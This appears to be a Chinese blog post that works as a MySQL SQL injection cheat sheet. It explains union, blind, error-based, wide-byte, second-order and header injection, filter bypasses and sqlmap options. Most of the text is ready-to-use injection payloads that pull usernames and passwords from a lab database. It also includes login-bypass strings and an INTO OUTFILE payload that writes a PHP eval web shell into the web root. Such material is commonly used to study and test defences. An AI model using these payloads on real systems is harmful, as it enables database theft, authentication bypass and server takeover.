SQL注入

SQL注入

SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。

SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!

mysql中注释符:# 、/**/ 、 --

一、分类

  1. 依据注入点类型分类

    • 数字类型的注入

    • 字符串类型的注入

    • 搜索型注入

  2. 依据提交方式分类

    • GET注入

    • POST注入

    • COOKIE注入

    • HTTP注入(XFF注入、UA注入、REFERER注入)

      XFF:X-Forwarded-ForXFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

      UA:用户代理(User Agent,简称 UA),是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

      REFERER:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

  3. 依据获取信息的方式分类

    • 基于布尔的盲注

    • 基于时间的盲注

    • 基于报错的注入

    • 联合查询注入

    • 堆查询注入(可同时执行多条语句)

二、判断是否存在SQL注入

  1. 工具扫描:网站漏扫工具、AWVS、AppScan、OWASP-ZAP、Nessus等

  2. 手动测试:

    • 单双引号、括号;进行组合测试,看是否报错

    • 对于数字型:?id=3-1 ?id=2#

      如果显示的是?id=2时的正常页面,可判断注入点是数字型注入;如果返回不正常,则可判断非数字型注入

    • 对于字符型:?id=2a ?id=2'#

      Mysql 中,等号两边如果类型不一致,会发生强制类型转换。当数字与字符串进行比较时, 首先先将字符串转换成数字,然后再进行比较。

    • 对于布尔盲注:

      盲注:就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

      ?id=1' and '1 ?id=1' and 'a

      这里没有使用注释符号进行后面的单引号闭合,使用的是手工单引号闭合

      或者, ?id=1' and 1=1# ?id=1' and 1=2#

      两者的页面截然不同,一个正常回显,一个没有回显的话,就可判断是布尔盲注。

    • 对于时间盲注:

      ?id=1' and sleep(3)#

      在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

      因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要 长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在 盲注中被称为Timing Attack,也就是时间盲注。

  3. 常见SQL注入功能点

    只要是存在数据库交互的地方都有可能出现 SQL 注入。

    常出现在 登录页面、订单页面、文章或新闻展示页面、修改密码页面(二次注入)、涉及获 取 HTTP 头(XFF等)的功能点等。

三、MySQL注入

  1. 必备

    1. 元数据库 information_schema

      元数据库 information_schema 中:
         
      存放数据库信息的表:schemata
      schemata 表中
      字段 schema_name 存放所有数据库名;
         
      存放表信息的表:tables
      tables 表中
      字段 table_name 存放所有表名
      字段 table_schema 存放所有表所在的数据库名;
         
      存放所有字段信息的表:columns
      columns 表中
      字段 column_name 存放所有字段名,
      字段 table_name 存放所有字段所在的表名,
      字段 table_schema 存放所有字段所在的数据库名;
    2. 语句分类

      1.DQL(数据查询语言):查询语句,所有的 select 语句
      2.DML(数据操作语言):insert , delete , update , 对表中的 数据 进行 增删改
      3.DDL(数据定义语言):create , drop , alter 对表 结构 增删改
      4.TCL(事务控制语言):commit 提交数据,rollback 回滚数据 Transaction
      5.DCL(数据控制语言):grant 授权,revoke 撤销权限等
    3. 基本语句

      # 查库:
      show databases;
      select schema_name from information_schema.schemata;
      # 建库:
      create database + 库名;
      # 删库:
      drop database + 库名;
      # 进入数据库:
      use + 库名;
      # 查表:
      show tables;
      select table_name from information_schema.tables where table_schema='security'
      select table_name from information_schema.tables where table_schema=database
      # 查列:
      select * from users;
      select column_name from information_schema.columns where table_name='users'
      # 查字段:
      select username,password from security.users;
    4. 基本函数

      #数据库安装、路径,用户 信息
      version(); Mysql 数据库版本
      database(); 当前 数据库名
      user(); 数据库的用户名
      current_user(); 当前用户名
      session_user(); 连接到数据库的用户名
      system_user(); 系统用户名
      @@datadir(); 数据库文件的存放路径
      @@version_compile_os; 操作系统版本
      @@basedir; 数据库的安装目录
      #字符串长度、截取
      length(); 返回字符串的长度
      substring(a,b,c); 截取字符串
      substr(a,b,c);
      mid(a,b,c);
      三个参数:a.截取的字符串 b.截取的起始位置 c.长度
      left(a,b); 从左侧截取a的前b位,正确返回1,错误返回0
      #字符串配对连接
      concat(a,0x5e,b); 字符串配对连接
      concat_ws('~',A,B); 含有分隔符的连接字符串
      group_concat(); 将字符串连接为一个组,可将不同列分到同一行中
      #字符串特殊处理
      ord(); 返回ASCII码
      ascii('a'); 将字母 a 转换为ascii值
      rand(); 返回0~1之间的随机浮点数
      round(); 返回最近的整数值
      md5(); 返回MD5值
      hex(); 将字符串转换为十六进制
      unhex(); hex()的反向操作
      floor(x); 返回不大于x的最大整数
      load_file(); 读取文件,返回文件内容作为一个字符串
      sleep(a); 沉睡a秒
      if(true,t,f); 判断语句为true ,执行第一个,否则第二个
      find_in_set(); 返回字符串在字符串列表中的位置
      benchmark(); 指定语句执行的次数
      name_const(); 返回表作为结果
    5. 导入数据

      当希望导入一个 较大 的文件或者是想要批量的执行sql语句时,可以使用 mysql 中的 source 使用方法:source + 文件路径(直接拖拽)

  2. 语句

    # insert
    insert into 表名(字段名1,字段名2,字段名3......) values(值1,值2,值3......)
    # delete
    delete from 表名 where 条件;//可回滚
    对于大表:
    truncate table 表名;//不可回滚,将会永久丢失
    # update
    update 表名 set 字段名1=值1,字段名2=值2,......where 条件;
    # select
    select 字段1,字段2,...... from + 表名 where + 条件;
    # between and
    select * from users where id between 2 and 8;
    select * from users where id >=2 and id <=8;
    # in not in
    select password from users where id not in(5,8);
    指查找出 id不等于5 id不等于8 的用户的密码
    注:不是 5~8,in之后不是一个区间
    # like
    1.% 代表任意多个字符
    2._ 代表任意一个字符
    select username from users where username like '%b%';
    指查找出用户名中带有字母b的用户名
    select username from users where username like '_a%';
    指查找出用户名中带第二个字母为a的用户名
    select username from users where username like '%b';
    指查找出用户名中带最后一个字母为b的用户名
    select username from users where username like '%\_%';
    指查找出用户名中带有下划线_的用户名
    注:特殊字符需要转义
    # order by
    select username from users order by 字段名;
    注:默认为升序排列
    指定升序:asc
    select username from users order by 字段名 asc;
    指定降序:desc
    select username from users order by 字段名 desc;
    双重需求:
    select username from users order by 字段名1 desc,字段名2 asc;
    # 分组函数
    select sum(grade) from users;
    select avg(grade) from users;
    select max(grade) from users;
    select min(grade) from users;
    # 空处理函数
    select sum(ifnull(salary,0)*12), from crew;
    求一年的薪水之和,当薪水为NULL时,被当作0来处理
    # group by 与 having
    group by:按照某个字段或某些字段进行分组
    having:对分组之后的数据进行再次过滤,即having 必须跟在 group by 后面使用
    select max(grade) from students group by classes;
    先根据班级分组,再查出各个班级的成绩最高学生的成绩
    1.分组函数一般与 group by 联合使用,并且任何一个分组函数(count,sum,avg,max,min)都是堆一组数据进行操作的
    2.当一条sql语句没有 group by 时,整张表会自成一组
    3.当sql语句中使用group by时,select之后只能跟参与分组的字段或者分组函数
    # distinct 去重
    distinct 关键字 去除重复记录
    select distinct job from company;
    查询该公司中的工作岗位
    # 语句执行顺序
    select 5号:挑选出满足条件的数据
    from 1号:定表
    where 2号:过滤原始数据
    group by 3号:进行分组
    having 4号:对数据进行再次过滤
    order by 6号:进行排序
    1.字符串数据 sum,avg 为 0,max,min 按字母大小取
    2.分组函数会自动忽略 NULL
    3.数学运算 中如果有NULL参与,结果为定为NULL
    4.分组函数不能直接出现在 where 后面,原因是 group by 是在where语句执行结束之后执行的
    5.分组函数可组合使用
    # inner join
    select a.ename,b.dname from emp a join dept b on a.deptno=b.deptno;
    # left/right join
    select dname,ename from dept a left join emp b on a.deptno=b.deptno;

    or 语句:当前面语句不符合情况或者出现错误时执行or后面的内容

四、union联合注入

  • 注入判断

    ?id=1'
    ?id=1'#
  • order by 查列

    ?id=1' order by x--+
    ?id=1' order by x#->常用%23代替
    # 其中x输入数字代表哪一列,使用二分法缩小范围,x之后是两个减号与加号,代表注释
  • 判断回显位置

    ?id=-1' union select 1,2,3--+
    ?id=0' union select 1,2,3--+
    ?id=1' and 1=2 union select 1,2,3--+
    # 前面是为了否定 id=1 时的回显,防止人家的 sql 语句只 limit 0,1
    # 这样就无法查看到我们想要的信息了
  • 回显位置注入sql语句

    ?id=-1' union select 1,(select database()),3--+
  • 查库

    ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
  • 查某一个库中的表

    仅仅是查当前数据库 database() 的表,由于处于当前数据库下,是不能查看其它数据库中数据的

    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
  • 查列

    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+
  • 查内容,~连接

    ?id=-1' union select 1,(select group_concat(concat_ws('~',username,password))from security.users),3--+# 同时查三列数据的话?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users#

五、Boolean盲注

  1. 手动:结合Burp爆破进行

    • 查数据库长度

      ?id=1' and length(database())=1--+
      # 爆破数字 1
    • 判断库名组成

      ?id=1' and left(database(),1)='a'--+
      # 爆破字母 a
      ?id=1' and ascii(substr(database(),1,1))='b'--+
      # 爆破 ascii 值 b
    • 查表

      ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit a,1),1,1)) ='b'--+
      # 同时爆破数字a,和 数字b,其中 b 是 ascii 值
    • 查列

      ?id=1' and ascii(substr((select column_name from information_schema.tables where table_schema='security' and table_name='users' limit a,1),1,1)) = 'b'--+
      # 同时爆破数字a,和 数字b,其中 b 是 ascii 值
    • 查内容

      ?id=1' and ascii(substr((select username from security.users limit a,1),1,1))='b'--+
      # 爆破 ascii 值 b?id=1' and ascii(substr((select password from security.users limit 0,1),1,1))='b'--+
      # 爆破 ascii 值 b
  2. 脚本

    • 直接法(较慢,正确率高)

    • 二分法

六、五大报错注入

  • 利用条件:页面回显 SQL语句执行的错误信息,例如 mysql_error()

    # floor()
    id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    # extractvalue()
    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))
  • updatexml()函数

    这个函数的第二个参数本应该是合法的 XPATH 路径,否则就会在引发报错的同时将传入的参数进行输出。我们利用这个特征,当题目存在回显时,将我们想的到的信息传入这个函数的第二个参数即可查询。

    XPATH路径:

    Xpath表达式 XPath(全称:XML Path Language)即 XML 路径语言,它是一门在 XML 文档中查找信息的语言,最初被用来搜寻 XML 文档,同时它也适用于搜索 HTML 文档。

    # updatexml()
    id = 1 and (updatexml(0x3a,concat(1,(select user()),1)))
    # exp()
    id =1 and EXP(~(SELECT * from(select user())a))
  • 适用于知道列名不知道表名的情况

    # 六种函数 (使用方法相同)

    GeometryCollection()
    id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

    polygon()
    id =1 AND polygon((select * from(select * from(select user())a)b))

    multipoint()
    id = 1 AND multipoint((select * from(select * from(select user())a)b))

    multilinestring()
    id = 1 AND multilinestring((select * from(select * from(select user())a)b))

    linestring()
    id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

    multipolygon()
    id =1 AND multipolygon((select * from(select * from(select user())a)b))

七、文件读写

  1. 手动

    • 写文件

      ?id=-1' union select 1,"<?php @eval(\$_POST[1]); ?>",3 into outfile "/var/www/html/1.php"--+
      # 可将文件内容转换成十六进制
      ?id=-1' union select 1,0x3c3f70687020406576616c28245f504f53545b315d293b203f3e,3 into outfile "/var/www/html/1.php"--+
    • 有回显时 读取文件

      ?id=-1' union select 1,2,load_file('/var/www/html/1.php')--+
      # 文件路径 可使用 十六进制
      ?id=-1' union select 1,2,load_file(0x2f7661722f7777772f68746d6c2f312e706870)--+
    • 无回显 盲注读取文件

      ?id=-1' and ascii(mid((select hex(load_file('/var/www/html/1.php'))),a,1))>b--+
      # 同时爆破 数字 a 和 ascii 值 b
  2. 脚本

八、延时注入

  1. 手动:结合 Burp Respond

    当页面上无回显,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,可考虑延时注入。

    ?id=1' and sleep(3)--+
    • 查库

      ?id=1' and if(length(database())=a,sleep(3),1)--+
      # 爆破数字 a
      ?id=1' and if(ascii(substr(database(),a,1))=b,sleep(3),1)--+
      # 同时爆破 数字 a 和 ascii 值 b
    • 查表

      ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),a,1))=b,sleep(3),1)--+
      # 同时爆破 数字 a 和 ascii 值 b
    • 查列

      ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),a,1))=b,sleep(3),1)--+
      # 同时爆破 数字 a 和 ascii 值 b
    • 查字段

      ?id=1' and if(ascii(substr((select group_concat(username) from security.users),a,1))=b,sleep(3),1)--+
      ?id=1' and if(ascii(substr((select group_concat(password) from security.users),a,1))=b,sleep(3),1)--+
      # 同时爆破 数字 a 和 ascii 值 b
  2. 脚本

  3. 过滤sleep的盲注

    MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。 表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。 该函数可以很方便地测试某些特定操作的性能,比如通过测试可以发现,MDS()函数比SHAl()函数要快。

九、regexp 正则匹配

  1. 手动

    ?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),a,1)regexp('b'),1,2)='1
    # 同时爆破 数字 a 和 字母 b
  2. 脚本

十、异或注入

异或:一种逻辑运算,简言之,相同为假,不同为真,NULL 与任何条件异或结果都为 NULL,MySQL 中的符号是 ^ 和 xor

常用手段:用于判断所过滤的字符串

?id=1'^(0)#
# 得到正常的回显页面,由于异或之后得到 真
?id=1'^(1)#
# 得到错误的回显页面,由于异或之后得到 假

常常用于判断我们所注入的某些字段是否被过滤

?id=1'^(length('union')>0)#

如果 union 已被过滤,那么得到的将会是 length(0>0) ,显然是不成立的,那就将会是 1'^0 ,得到的为 真,所以将会返回 正常 的页面;

如果 union 没有被过滤,相反的,将会得到为假的异或,返回的将会是 错误 的页面。

由此可以判断某些字符的过滤情况。

常常使用:

?id=1'^(length('select')>0)#
?id=1'^(length('and')>0)#
?id=1'^(length('or')>0)#

符号特点:

  • ^运算符会做位异或运算

    位异或运算:

    参加运算的两个数据,按二进制位进行“异或”运算。.运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;即:参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为0。“异或运算”的特殊作用:(1)使特定位翻转找一个数,对应X要翻转的各位,该数的对应位为1,其余位为零,此数与X对应位异或即可。例:X=10101110,使X低4位翻转,用X ^0000 1111 = 1010 0001即可得到。(2)与0相异或,保留原值 ,X ^ 00000000 = 1010 1110。下面重点说一下按位异或,异或其实就是不进位加法,如1+1=0,0+0=0,1+0=1。

  • xor做逻辑运算1 xor 0会输出1.其他情况输出其余所有数据

十一、宽字节注入

防御原理

为了防止 SQL注入漏洞,通常在源代码当中会对我们所输入的 SQL查询语句进行一个 转义 ,一般是对 单引号,双引号 进行一个转义变成 ' 或者是",这样Mysql在 执行 SQL语句时,不会影响到查询,即不会出现报错,数据存储在数据库当中时不会含有 \ ,也就是说,它仅仅是在执行 SQL语句时进行了转义,当我们从数据库中向外调出数据时并不会含有 \ ,也就预防了 SQL注入。

如果不进行转义,按照一般攻击者的思路进行SQL注入,都是通过 ?id=1' 进行验证,如果没有进行任何防御,即没有进行转义操作,就会出现报错,也就很容易的验证出来了的确存在 SQL注入,并且容易看到注入方式。

常用的转义函数

ddslashes() 
函数返回在预定义字符之前添加反斜杠的字符串    
单引号(')    
双引号(")    
反斜杠(\)    
NULL    
mysql_real_escape_string()
函数: 转义 SQL 语句中使用的字符串中的特殊字符下列字符受影响:    
\x00    
\n    
\r    
\    
'  
"    
\x1a  
addslashes()

解决:

  • 网页连接数据库时,将字符编码设置为 GBK 编码集合,然后进行 SQL语句的拼接,进行数据库的查询。

  • GBK编码采用 双字节编码,编码范围为 8140~FEFE

  • 转义字符 的编码是 5c ,其在 GBK的编码范围之内,如果我们在转义字符之前 提交一个同样在编码范围之内的字符,网页在解析时,就会将其与 后面的转义字符进行一个匹配,组成一个 双字节的 GBK编码的汉字,从而失去了转义的作用。

  • 常用方法:在使用单引号 或者 双引号之前添加 %df 字符

  • 方法二:在使用单引号 或者 双引号之前添加 %aa%5c 字符

  • 解释:

例如:  ?id=1%aa%5c'      
其实是: ?id=1%aa\'      
即: ?id=1%aa%\\\'    
其中 \ 是 %5c;  ' 是 %27    
数据库中做了转义处理之后变成:%aa%5c%5c%5c%27    
这样,%aa和%5c进行组合称为了一个汉字,%5c与%5c仍旧是 \\ ,而 %27(单引号) 就分离出来了

十二、二次注入

原理:攻击者构造的恶意数据 存储在 数据库 后,恶意数据 被读取 并进入到 SQL查询语句 所导致的注入。

防御者可能在用户 输入 恶意数据时对其中的特殊字符进行了 转义处理 ,但在恶意数据插入到数据库时被处理的数据又 被还原 并存储在数据库中,当Web程序 调用 存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。

二次注入步骤:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了 转义处理,在写入数据库的时候又保留了原来的数据

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询即调用已存储在数据库中的数据时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

一般结合修改密码功能点进行利用

十三、堆叠注入

SQL语句书写时,以 分号 ; 表示一条SQL语句结束,通过使用分号同时执行多条 SQL语句 即为 堆叠注入 。该注入可修改数据库的任意结构和数据。

十四、HTTP头部注入

  1. User-Agent注入

    当将客户端可控的 $uagent 带入代入 $insert sql 语句时,必须将紧随其后的单引号先闭合

    抓包,修改 User-Agent 值

  2. Referer注入

    将 客户端可控的 $uagent 带入代入 $insert sql 语句时,必须将紧随其后的单引号先闭合

    抓包,修改 Referer 值

  3. Cookie注入

    如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。

    但很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值。

    这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

    例如:www.xx.com/search.asp?id=1

    访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

    试着将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

    那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了。

十五、无列名注入

Mysql 版本 > 5 时,都会存在一个元数据库 information_schema ,其中记录着 mysql 所有库、以及表的结构,通常的 sql 注入手段即是通过该元数据库来获取到其它库以及表的信息。如果这个 information_schema 被过滤掉了该怎么办?

  1. 使用别的具有类似功能的库

    1. sys数据库

      1. 利用mysql5.7新增的 sys.schema_auto_increment_columns

      2. sys.schema_table_statistics_with_buffer

        # 利用语句    
        #查数据库  
        select table_schema from sys.schema_auto_increment_columns;    
        #查表  
        select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema = database();      
        select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
    2. mysql默认存储引擎INNODB所携带的表

      • mysql.innodb_table_stats

      • mysql.innodb_index_stats

  2. union select 构造虚表

  3. JOIN爆破

    本质:通过报错得到列名

    • join连接两张表

    • using()用于两张表之间的join连接,并且 using()中的列在两张表中都存在,作为 join 的条件

十六、Mysql 查询语句 之 Handler

  • mysql除可使用select查询表中的数据,也可使用handler语句,它每次只能查询1条记录,而 select 可以根据需要返回多条查询结果。因此 handler语 句并不具备 select 语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

  • 可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。

不通过索引查表:

#打开句柄
handler handler_table open;
#查询数据
handler handler_table read first;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
#关闭句柄
handler handler_table close;

通过索引查表:需要创建索引

#以 handler_table 中的 id 字段创建索引,命名为 handler_index
create index handler_index on handler_table(id);
#打开句柄,命名为 p
handler handler_table open as p;
#查看数据
handler p read handler_index first;#第一行
handler p read handler_index next;#下一行
handler p read handler_index prev;#上一行
handler p read handler_index last;#最后一行
#关闭句柄
handler p close;
#以 handler_table 中的 id 字段创建索引,命名为 handler_index
create index handler_index on handler_table(id);
#打开句柄
handler handler_table open;
#查看特定位置的数据
handler p handler_table read handler_index=(3);
handler handler_table read handler_index first;#查第一条
handler handler_table read handler_index next;#查下一条
handler handler_table read handler_index prev;#查上一条
handler handler_table read handler_index last;#查最后一条
#关闭句柄
handler handler_table close;

删除索引

drop index handler_index on handler_table;

Handler 与 select 的比较:

  • select语句一次返回所有相关行,handler每次返回一行

  • HANDLER涉及的分析较少,比SELECT更快

  • 没有优化程序或查询校验开销

  • 在两个管理程序请求之间,不需要锁定表。

十七、绕过姿势

任何的表名、数据库名都可以使用十六进制代替

?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 0x7365637572697479),3--+

万能密码:$sql="select * from test where username=' XX ' and password=' XX ' ";

# 不知用户名时
' or 1--+ # 注释闭合
' or '1'='1 # 手动闭合
' or '1'='1'# # 使用了注释#
# 知道一个用户名
admin' or '1'='1
# 可尝试
1'or(1)#

过滤注释:

法一:截断;%00

;%00
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1);%00

法二:手动闭合

1'and'1'='1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)and'1'='1

过滤空格:

括号包围:对于一些字段名可使用括号包围

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1);%0

字符编码绕过:

# 可以绕过空格的编码:
%09 Tab键-水平
%0a 换行
%0c 换页
%0b Tab键-垂直
%0d
%00
%a0 在特定字符集才可使用
# 特殊的
/**/

大小写绕过:

Mysql 中,关键字是不区分大小写的,如果仅仅是过滤了 select ,那么我们可以使用 SelECt ,进行大小写混写绕过。

正则匹配:

正则如果匹配 \bselect\b ,可以使用 /!50000select/ 绕过。

一次过滤:双写绕过:

$id=preg_replace('/or/i',"",$id);
$id=preg_replace('/and/i',"",$id);
$id=preg_replace('/select/i',"",$id);

and or 过滤:双写绕过,或者是 &&-->%26%26 ||-->%7c%7c

?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1);%00?id=1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

过滤了单双引号,但没有过滤 反斜杠

例如:sql语句

$sql="select * from nres where id='可控参数1' and title='可控参数2'";

可以进行如下构造,不使用 单双引号,利用反斜杠

id=a\
title=or sleep(3)#
#这样拼起来的 sql 语句就是
$sql="select * from nres where id='a\' and title='or sleep(3)#'";
# 如此,or sleep(3)# 便成了一个整体,将会成功执行后面的 sleep(3)

使用

select * from users where id='a\' and username=' or sleep(2)#'
select * from users where id='a\' and username='union select 1,2,(select concat(username,0x7e,password) from users limit 1)#'

引号逃逸:其实就是由于做了转义

对单引号、双引号等进行转义之后,在一定程度上妨碍了我们的注入,当遇到这种情况,可以考虑:宽字节注入、二次注入、HTTP 头部注入

字符串截断:

在一些标题等位置,开发者一般会限制标题的字符长度,如果超过,有可能会被截断。

代码:

<?php    
   $conn = mysqli_connect('127.0.0.1','root','123456','security');
$title = addslashes($_GET['title']);
echo $title;
$title = substr($title,0,10); #做了截断处理
echo '<br />'.$title;
echo '<h1>$title</h1>';
$content = addslashes($_GET['content']);
echo $content;
$sql = "insert into users values(15, '$title' , '$content')";
echo '<br />'.$sql;
$res = mysqli_query($conn,$sql);
?>

如果攻击者想进行 sql 注入测试,可以选择输入 aaaaaaaaa' ,则经过转义之后,将会变为 aaaaaaaaa' ,但是由于后面的截断,将变成 aaaaaaaaa

使用:

?title=aaaaaaaaa\'&content=,1),(16,321,2)--+

这样拼接到sql语句中就变成

insert into news values(15, 'aaaaaaaaa\' , ',1),(16,321,2)--+')

这样 由于转义使得 aaaaaaaaa' , 成为了由单引号包围的一部分,也就成功执行了 插入语句。

十八、其他

  1. 在以上的任何一个注入方式中,都有可能对用户所输入的内容进行编码,例如进行 base64 编码,进行爆破时要记得编码;

  2. Nosql注入

  3. limit注入

十九、解决查内容时一次显示不全

方法一:一条一条查

and updatexml(1,concat(0x5e,(select concat(username,'~',password) from security.users limit 0,1),0x5e),1)#
and updatexml(1,concat(0x5e,(select concat_ws('~',username,password) from security.users limit 0,1),0x5e),1)#

方法二:substr(,,)

# 每次查30个字符
and updatexml(1,concat(0x5e,(select substr(group_concat(concat_ws('~',username,password)),1,30) from security.users),0x5e),1)#
and updatexml(1,concat(0x5e,(select substr(group_concat(concat_ws('~',username,password)),31,30) from security.users),0x5e),1)#

二十、SQLmap的使用

  • 常用语法

    --dbs //查数据库
    --tables //查表
    --columns //查列
    --dump //查记录
    --batch //自动确认
    --fresh-queries //清理缓冲
    python3 sqlmap.py -u "" --dump --batch
  • post方式提交参数

    --data="id=1"
  • 修改提交方式为PUT,并提交--method="put" --headers="content-type:/text/plain"

  • 设置安全链接

    –safe-url 设置在测试目标地址前访问的安全链接
    –safe-freq 设置两次注入测试前访问安全链接的次数
  • 脚本的使用

posted @   菜里菜气菜某  Views(126)  Comments(0Edit  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示